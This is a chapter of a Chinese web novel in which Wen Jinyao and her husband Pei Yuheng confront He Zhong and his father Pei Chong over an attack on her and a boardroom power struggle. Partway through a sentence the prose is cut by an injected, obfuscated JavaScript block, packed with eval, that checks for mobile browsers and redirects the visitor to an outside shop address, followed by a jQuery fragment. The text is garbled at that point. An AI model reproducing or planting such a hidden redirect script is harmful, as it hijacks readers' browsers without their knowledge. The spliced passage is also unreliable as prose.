贺中这时候已经没有退路了,只能硬着头皮往下聊:“那毕竟你受伤是事实,我只是怕小裴总不信而已。” 裴聿珩低头对温今遥道:“贺公子出事之前,贺叔还专门找人来跟我认错来着。” “哦?”温今遥挑眉:“还有这一层?” 裴聿珩点头:“是。” 温今遥又问:“所以贺公子的事,是你在替我报仇吗?” “不,”裴聿珩答得云淡风轻:“这是一个优秀企业家应尽的义务。” 贺中:“……” 神他妈应尽的义务! “无论如何吧,”贺中已经看清楚了这夫妻俩真就一丘之貉,在这兜圈子耍他玩,只能捏着鼻子认下:“侄媳妇,我在这给你道个歉。生意场上的事,难免有误伤,这次能不能就算了?” 温今遥问:“沈靖舒你认识吗?” 贺中愣了愣:“啊?” “天宫集团的千金。”温今遥道:“如果你误伤的是她,你今天还有脸说出这种话来吗?” 裴崇眉头紧紧拧起:“温今遥,你想干什么?” 温今遥:“我不想干什么呀,我就是想把事情搞清楚。你看啊,我长这么大也挺不容易的,被你们这样搞,好不容易才捡条命回来,总得搞清楚事情原委吧?” 贺中不可置信地盯着温今遥。 这丫头不是司机的女儿吗,听说小时候连饭都吃不饱,后来被裴家送去别处念书,不是也乖乖去了,任裴家拿捏吗?怎么到了这时候,嘴跟淬了毒一样? 小门小户的卑贱之人,竟然拿沈小姐来比,她怎么敢的? “我猜你大概不敢吧,你无非是看准了我没有那种家世,没人给我撑腰,觉得我这种人死在你手上也不会有什么后果。”温今遥也同样盯着贺中:“你知道吗,我上班这么多年,懂得了一个道理:不要怕风口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199644|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的猪,它除了有一张骇人的皮,其余什么都没有。” “温今遥!”裴崇爆喝一声:“你是什么东西,敢在这里口出狂言!” “父亲,”裴聿珩声音依旧温淡:“她是我的妻子,是鸿禧的董事长夫人。” 裴崇哑了哑。 当年易湘做董事长夫人的时候,贺中这些人别说私下找人伤害她了,当着面都不敢对她大声。 但轮到温今遥,裴崇准备装瞎。 他清了清嗓子:“咳,既然嫁到裴家,那就应该有别人妻子的样子。如果对集团有益,别说你受一点伤,就算拿你一条命,那也是应该的。” 裴聿珩捏紧了拳:“当初我妈受伤的时候,您可不是这么说的。” 裴崇出离愤怒了:“你拿她跟你妈比?你到底是谁家的人?!” “我看不出有什么不能比的,”裴聿珩声线平稳得一丝波澜也未起:“我跟今遥,是一家人。” 他不等裴崇继续发火,便继续道:“既然话说到这份上,那不如直接挑明:父亲,我希望您彻底退出集团事宜,不再干涉我的计划,并且劝服所有跟着您投反对票的元老,不要再因为我的资历,不由分说投反对票。” 裴崇:“如果我不答应呢?” “不答应也有不答应的办法。”裴聿珩不动声色:“年前我已经着手开始回笼鸿禧的股份,现在我手里的股权,足以跟任何人抗衡。即便是他们全部联手,也未必能把我怎么样。而且……” 他笑了笑,像是在说一件再平常不过的事:“要比下三滥的手段,我也不是没有。贺公子那样的事情还会发生多少次,我就不敢保证了。您最好祈祷他们所有的子侄都干净得一点把柄都抓不到。” 他手指轻轻扣了扣红木桌面:“谋定而后动,这是你让我抄了一千遍的话。”他回头看了看窗边那片空地:“就在那里。” “您不答应也没有关系,”裴聿珩微笑着:“我毕竟是晚辈,这个意思,我会带着问候,亲自上门去传达。这种时候,我想,应当先下手为强。” 裴崇瞳孔忽然紧缩起来。 裴聿珩把贺霄的事情闹得满城风雨,圈子里谁不知道,他是因为贺中动了他的人,才发了这么大的疯,把整个鸿禧都押上,赌一个鱼死网破。 要是再任由他敲打到每个人头上,那裴崇这个当爹的,岂不是尊严扫地? 这种事,裴崇决不能接受。 他咬牙半晌,问:“你在威胁我?” “我不敢,”裴聿珩垂下眼睫,一副顺从的模样:“我只是更喜欢一劳永逸罢了。” “另外,”他握紧温今遥的手:“今遥是我写在结婚证上的配偶,是我这辈子唯一的伴侣,我不希望在任何地方听到任何人对她有任何冒犯。我想,我身为集团董事长,我的伴侣理应得到这种尊重。” “父亲,”裴聿珩看着他曾经惧怕又期待的人,毫不掩饰身上凛冽的压迫感:“到此为止吧。” 说完,他牵着温今遥的手,起身准备离开。 “聿珩。”裴崇忽然叫住他,声音颤抖。 裴聿珩站住,却没有回头。 “爸爸是爱你的,你还记得吗?” 裴聿珩轻轻笑了一声。 这是他少年时期最困惑的难题,靠自己的努力无论如何解释不了,直到它长成了他心里的小客厅,把他紧紧锁在里面。 但是问题的答案来得太晚,早就错过了他的一生。 裴聿珩低头摩挲了一阵温今遥细腻的手背,一言不发,牵着她离开了自己一直以来的牢笼。